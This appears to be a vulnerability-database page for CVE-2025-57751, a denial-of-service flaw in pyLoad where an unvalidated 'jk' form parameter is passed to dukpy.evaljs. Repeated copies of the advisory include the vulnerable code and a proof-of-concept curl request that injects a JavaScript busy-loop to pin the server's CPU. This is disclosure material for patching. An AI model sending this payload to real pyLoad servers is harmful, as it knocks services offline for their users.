CVE-2025-57751
Denial-of-Service attack in pyLoad CNL Blueprint using dukpy.evaljs
pyLoad is the free and open-source Download Manager written in pure Python. The jk parameter is received in pyLoad CNL Blueprint. Due to the lack of jk parameter verification, the jk parameter input by the user is directly determined as dykpy.evaljs(), resulting in the server CPU being fully occupied and the web-ui becoming unresponsive. This vulnerability is fixed in 0.5.0b3.dev92.
Attack profile
How easy it is to exploit
- Attack vector
- Network
- Complexity
- Low
- Privileges needed
- None
- User interaction
- None
What an attacker can affect
- Confidentiality
- None
- Integrity
- None
- Availability
- High
Exploit likelihood
What each source reports
CVE List Score used
Denial-of-Service attack in pyLoad CNL Blueprint using dukpy.evaljs
pyLoad is the free and open-source Download Manager written in pure Python. The jk parameter is received in pyLoad CNL Blueprint. Due to the lack of jk parameter verification, the jk parameter input by the user is directly determined as dykpy.evaljs(), resulting in the server CPU being fully occupied and the web-ui becoming unresponsive. This vulnerability is fixed in 0.5.0b3.dev92.
- Record
CVE-2025-57751- CVSS 4.0
- 7.7 High
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P - Weakness
- CWE-400
- Updated
- 2026-11-02
EUVDEUVD-2025-25486
pyLoad is the free and open-source Download Manager written in pure Python. The jk parameter is received in pyLoad CNL Blueprint. Due to the lack of jk parameter verification, the jk parameter input by the user is directly determined as dykpy.evaljs(), resulting in the server CPU being fully occupied and the web-ui becoming unresponsive. This vulnerability is fixed in 0.5.0b3.dev92.
- Record
EUVD-2025-25486- CVSS 4.0
- 7.7 High
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P - Updated
- 2026-11-02
GitHub AdvisoriesGHSA-9gjj-6gj7-c4wj
Denial-of-Service attack in pyLoad CNL Blueprint using dukpy.evaljs
Dear Maintainers, I am writing to you on behalf of the Tencent AI Sec. We have identified a potential vulnerability in one of your products and would like to report it to you for further investigation and mitigation.
Summary
The jk parameter is received in pyLoad CNL Blueprint. Due to the lack of jk parameter verification, the jk parameter input by the user is directly determined as dykpy.evaljs(), resulting in the server CPU being fully occupied and the web-ui becoming unresponsive.
Details
- Endpoint: flash/addcrypted2
- affected file: https://github.com/pyload/pyload/blob/develop/src/pyload/webui/app/blueprints/cnl_blueprint.py#L123 https://github.com/pyload/pyload/blob/develop/src/pyload/core/utils/misc.py#L42
affected code
@bp.route("/flash/addcrypted2", methods=["POST"], endpoint="addcrypted2")
@local_check
def addcrypted2():
package = flask.request.form.get(
"package", flask.request.form.get("source", flask.request.form.get("referer"))
)
crypted = flask.request.form["crypted"]
jk = flask.request.form["jk"]
pack_password = flask.request.form.get("passwords")
crypted = standard_b64decode(unquote(crypted.replace(" ", "+")))
jk = eval_js(f"{jk} f()")
def eval_js(script, es6=False):
if sys.version_info < (3, 12):
return (js2py.eval_js6 if es6 else js2py.eval_js)(script)
else:
return dukpy.evaljs(script)
PoC
download pyload and run locally, send the following request
- PoC
curl -X POST "http://localhost:8000/flash/addcrypted2" \
-H "Content-Type: application/x-www-form-urlencoded" \
-d "crypted=SGVsbG8gd29ybGQ=" \
-d "passwords=pyload" \
-d "jk=const start = Date.now();%0Awhile (Date.now() - start < 30_000) {} //"
The 30_000 can be modified to any large value.
Impact
System resources are exhausted, causing services to be temporarily interrupted or stopped, making them inaccessible to normal users.
Use the following command to check CPU usage
top -pid $(pgrep -f "pyload.__main__")
or
top -pid $(pgrep -f "pyload")
The CPU is fully occupied <img width="1209" height="134" alt="image" src="https://github.com/user-attachments/assets/5f9338fe-90c8-4e99-bd8e-a5b5c5a81a6e" />
web-ui unresponsive <img width="1209" height="496" alt="image" src="https://github.com/user-attachments/assets/7100cdb6-e4d5-4d0c-a138-51b08a7b1fbd" />
- Record
GHSA-9gjj-6gj7-c4wj- CVSS 4.0
- 7.7 High
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P - Weakness
- CWE-400
- Updated
- 2026-11-02
NVD
pyLoad is the free and open-source Download Manager written in pure Python. The jk parameter is received in pyLoad CNL Blueprint. Due to the lack of jk parameter verification, the jk parameter input by the user is directly determined as dykpy.evaljs(), resulting in the server CPU being fully occupied and the web-ui becoming unresponsive. This vulnerability is fixed in 0.5.0b3.dev92.
- Record
CVE-2025-57751- CVSS 4.0
- 7.7 High
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X - Weakness
- CWE-400
- Updated
- 2026-11-02
OSVGHSA-9gjj-6gj7-c4wj
Denial-of-Service attack in pyLoad CNL Blueprint using dukpy.evaljs
Dear Maintainers, I am writing to you on behalf of the Tencent AI Sec. We have identified a potential vulnerability in one of your products and would like to report it to you for further investigation and mitigation.
Summary
The jk parameter is received in pyLoad CNL Blueprint. Due to the lack of jk parameter verification, the jk parameter input by the user is directly determined as dykpy.evaljs(), resulting in the server CPU being fully occupied and the web-ui becoming unresponsive.
Details
- Endpoint: flash/addcrypted2
- affected file: https://github.com/pyload/pyload/blob/develop/src/pyload/webui/app/blueprints/cnl_blueprint.py#L123 https://github.com/pyload/pyload/blob/develop/src/pyload/core/utils/misc.py#L42
affected code
@bp.route("/flash/addcrypted2", methods=["POST"], endpoint="addcrypted2")
@local_check
def addcrypted2():
package = flask.request.form.get(
"package", flask.request.form.get("source", flask.request.form.get("referer"))
)
crypted = flask.request.form["crypted"]
jk = flask.request.form["jk"]
pack_password = flask.request.form.get("passwords")
crypted = standard_b64decode(unquote(crypted.replace(" ", "+")))
jk = eval_js(f"{jk} f()")
def eval_js(script, es6=False):
if sys.version_info < (3, 12):
return (js2py.eval_js6 if es6 else js2py.eval_js)(script)
else:
return dukpy.evaljs(script)
PoC
download pyload and run locally, send the following request
- PoC
curl -X POST "http://localhost:8000/flash/addcrypted2" \
-H "Content-Type: application/x-www-form-urlencoded" \
-d "crypted=SGVsbG8gd29ybGQ=" \
-d "passwords=pyload" \
-d "jk=const start = Date.now();%0Awhile (Date.now() - start < 30_000) {} //"
The 30_000 can be modified to any large value.
Impact
System resources are exhausted, causing services to be temporarily interrupted or stopped, making them inaccessible to normal users.
Use the following command to check CPU usage
top -pid $(pgrep -f "pyload.__main__")
or
top -pid $(pgrep -f "pyload")
The CPU is fully occupied <img width="1209" height="134" alt="image" src="https://github.com/user-attachments/assets/5f9338fe-90c8-4e99-bd8e-a5b5c5a81a6e" />
web-ui unresponsive <img width="1209" height="496" alt="image" src="https://github.com/user-attachments/assets/7100cdb6-e4d5-4d0c-a138-51b08a7b1fbd" />
- Record
GHSA-9gjj-6gj7-c4wj- CVSS 4.0
- 7.7 High
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P - Weakness
- CWE-400
- Updated
- 2026-11-02
OSVPYSEC-2026-1815
Denial-of-Service attack in pyLoad CNL Blueprint using dukpy.evaljs
Dear Maintainers, I am writing to you on behalf of the Tencent AI Sec. We have identified a potential vulnerability in one of your products and would like to report it to you for further investigation and mitigation.
Summary
The jk parameter is received in pyLoad CNL Blueprint. Due to the lack of jk parameter verification, the jk parameter input by the user is directly determined as dykpy.evaljs(), resulting in the server CPU being fully occupied and the web-ui becoming unresponsive.
Details
- Endpoint: flash/addcrypted2
- affected file: https://github.com/pyload/pyload/blob/develop/src/pyload/webui/app/blueprints/cnl_blueprint.py#L123 https://github.com/pyload/pyload/blob/develop/src/pyload/core/utils/misc.py#L42
affected code
@bp.route("/flash/addcrypted2", methods=["POST"], endpoint="addcrypted2")
@local_check
def addcrypted2():
package = flask.request.form.get(
"package", flask.request.form.get("source", flask.request.form.get("referer"))
)
crypted = flask.request.form["crypted"]
jk = flask.request.form["jk"]
pack_password = flask.request.form.get("passwords")
crypted = standard_b64decode(unquote(crypted.replace(" ", "+")))
jk = eval_js(f"{jk} f()")
def eval_js(script, es6=False):
if sys.version_info < (3, 12):
return (js2py.eval_js6 if es6 else js2py.eval_js)(script)
else:
return dukpy.evaljs(script)
PoC
download pyload and run locally, send the following request
- PoC
curl -X POST "http://localhost:8000/flash/addcrypted2" \
-H "Content-Type: application/x-www-form-urlencoded" \
-d "crypted=SGVsbG8gd29ybGQ=" \
-d "passwords=pyload" \
-d "jk=const start = Date.now();%0Awhile (Date.now() - start < 30_000) {} //"
The 30_000 can be modified to any large value.
Impact
System resources are exhausted, causing services to be temporarily interrupted or stopped, making them inaccessible to normal users.
Use the following command to check CPU usage
top -pid $(pgrep -f "pyload.__main__")
or
top -pid $(pgrep -f "pyload")
The CPU is fully occupied <img width="1209" height="134" alt="image" src="https://github.com/user-attachments/assets/5f9338fe-90c8-4e99-bd8e-a5b5c5a81a6e" />
web-ui unresponsive <img width="1209" height="496" alt="image" src="https://github.com/user-attachments/assets/7100cdb6-e4d5-4d0c-a138-51b08a7b1fbd" />
- Record
PYSEC-2026-1815- CVSS 4.0
- 7.7 High
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P - Updated
- 2026-11-02
Affected products
Affected packages
| Package | Affected | Fixed |
|---|---|---|
pyload-ngPyPI |
before 0.5.0b3.dev92 | 0.5.0b3.dev92 |
pyload-ngPyPI |
before 0.5.0b3.dev92, plus listed versions 0.5.0a5.dev5280.5.0a5.dev5320.5.0a5.dev5350.5.0a5.dev5360.5.0a5.dev537 Show 45 moreShow less0.5.0a5.dev5390.5.0a5.dev5400.5.0a5.dev5450.5.0a5.dev5620.5.0a5.dev5640.5.0a5.dev5650.5.0a6.dev5700.5.0a6.dev5780.5.0a6.dev5870.5.0a7.dev5960.5.0a8.dev6020.5.0a9.dev6150.5.0a9.dev6290.5.0a9.dev6320.5.0a9.dev6410.5.0a9.dev6430.5.0a9.dev6550.5.0a9.dev8060.5.0b1.dev10.5.0b1.dev20.5.0b1.dev30.5.0b1.dev40.5.0b1.dev50.5.0b2.dev100.5.0b2.dev110.5.0b2.dev120.5.0b2.dev90.5.0b3.dev130.5.0b3.dev140.5.0b3.dev170.5.0b3.dev180.5.0b3.dev190.5.0b3.dev200.5.0b3.dev210.5.0b3.dev220.5.0b3.dev240.5.0b3.dev260.5.0b3.dev270.5.0b3.dev280.5.0b3.dev290.5.0b3.dev300.5.0b3.dev310.5.0b3.dev320.5.0b3.dev330.5.0b3.dev34 |
0.5.0b3.dev92 |
History
| Recorded | Changed | Sources |
|---|---|---|
| first indexed | CVE List, EUVD, GitHub Advisories, NVD, OSV |
Dates are when Every CVE recorded each change. Upstream dates may differ.
In short
CVE-2025-57751 is a high vulnerability (CVSS 7.7) in Pyload, published August 21, 2025. No source lists public exploit code. EPSS puts the chance of exploitation in the next 30 days at 0.33%, the 25th percentile. Fixed in pyload-ng 0.5.0b3.dev92.
References
Left out here: 46 versions. The JSON record has them.